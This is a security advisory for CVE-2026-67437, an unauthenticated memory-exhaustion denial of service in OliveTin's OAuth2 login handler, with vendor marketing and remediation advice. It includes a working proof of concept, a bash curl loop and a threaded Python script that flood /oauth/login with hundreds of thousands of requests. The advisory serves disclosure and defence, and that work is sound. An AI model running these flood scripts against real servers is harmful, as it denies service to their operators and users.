Summary
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.
This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access, the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.
Affected Versions
- All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)
Details
In service/internal/auth/otoauth2/restapi_auth_oauth2.go:
type OAuth2Handler struct {
cfg *config.Config
mu sync.RWMutex
registeredStates map[string]*oauth2State // NEVER cleaned up
registeredProviders map[string]*oauth2.Config
}
The HandleOAuthLogin handler adds a new state on every request:
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
state, _ := randString(16) // 24-byte base64 string
// ...
h.mu.Lock()
h.registeredStates[state] = &oauth2State{
providerConfig: provider,
providerName: providerName,
Username: "",
}
h.mu.Unlock()
// ... redirect to OAuth2 provider
}
The HandleOAuthCallback handler updates existing states but never removes them:
func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
// ...
h.mu.Lock()
h.registeredStates[state].Username = userinfo.Username // Updates, never deletes
h.registeredStates[state].Usergroup = ...
h.mu.Unlock()
}
There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.
Memory Impact Per State
Each map entry consists of:
- Key: ~24 bytes (base64 string)
- Value:
*oauth2Statestruct containing:providerConfig *oauth2.Config(pointer, 8 bytes + shared config)providerName string(~8-16 bytes)Username string(empty initially)Usergroup string(empty initially)
- Go map overhead: ~100-150 bytes per entry
Estimated: ~200 bytes per state entry
At 1 million states ≈ 200 MB of memory consumed.
At 10 million states ≈ 2 GB of memory consumed.
Attack Vector
The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.
PoC
Prerequisites
- OliveTin instance with at least one OAuth2 provider configured
- Network access to
/oauth/login
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false
authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
github:
clientId: "test-client-id"
clientSecret: "test-client-secret"
actions:
- title: noop
shell: echo "ok"
Step 1: Baseline health check
curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK
curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)
Step 2: Flood with state-creation requests
# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
# Throttle to avoid connection limits
if (( i % 500 == 0 )); then
wait
echo "Sent $i requests..."
fi
done
wait
echo "Flood complete"
Step 3: Python PoC for sustained memory exhaustion
#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS
Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor
TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000
def create_state(_):
"""Send /oauth/login to create a new state entry."""
try:
requests.get(
f"{TARGET}/oauth/login?provider={PROVIDER}",
allow_redirects=False,
timeout=5
)
return True
except Exception:
return False
def check_health():
"""Check if the server is still responsive."""
try:
r = requests.get(f"{TARGET}/readyz", timeout=5)
return r.status_code == 200
except Exception:
return False
print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()
if not check_health():
print("[!] Server not reachable")
sys.exit(1)
start_time = time.time()
total_created = 0
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
results = list(executor.map(create_state, range(batch_start, batch_end)))
total_created += sum(results)
elapsed = time.time() - start_time
rate = total_created / elapsed if elapsed > 0 else 0
est_memory = total_created * 200 / 1024 / 1024 # MB
print(f" States created: {total_created:>8} | "
f"Rate: {rate:>6.0f}/s | "
f"Est. memory: {est_memory:>6.1f} MB | "
f"Healthy: {check_health()}")
if not check_health():
print(f"\n[!] Server became unresponsive after {total_created} states!")
print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
break
print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")
Step 4: Verify memory growth (Docker)
docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack
Impact
- Who is impacted: All OliveTin deployments with any OAuth2 provider configured
- Attack requirements: Unauthenticated network access to
/oauth/login - Effect: Gradual memory exhaustion leading to OOM kill or service degradation
- Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops, a restart is required
- Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-67437 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260708075951-ec114e95d297); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie
MaxAge) - Add a maximum state count (e.g., 10,000) with LRU eviction
- Clean up states after successful callback
- Add periodic garbage collection for expired states
Frequently Asked Questions
- What is CVE-2026-67437? CVE-2026-67437 is a high-severity uncontrolled resource consumption vulnerability in github.com/OliveTin/OliveTin (go), affecting versions >= 0.0.0-20251024001301-45f9c18bc3ee, < 0.0.0-20260708075951-ec114e95d297. It is fixed in 0.0.0-20260708075951-ec114e95d297. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-67437? CVE-2026-67437 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/OliveTin/OliveTin are affected by CVE-2026-67437? github.com/OliveTin/OliveTin (go) versions >= 0.0.0-20251024001301-45f9c18bc3ee, < 0.0.0-20260708075951-ec114e95d297 is affected.
- Is there a fix for CVE-2026-67437? Yes. CVE-2026-67437 is fixed in 0.0.0-20260708075951-ec114e95d297. Upgrade to this version or later.
- Is CVE-2026-67437 exploitable, and should I be worried? Whether CVE-2026-67437 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-67437 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-67437? Upgrade
github.com/OliveTin/OliveTinto 0.0.0-20260708075951-ec114e95d297 or later.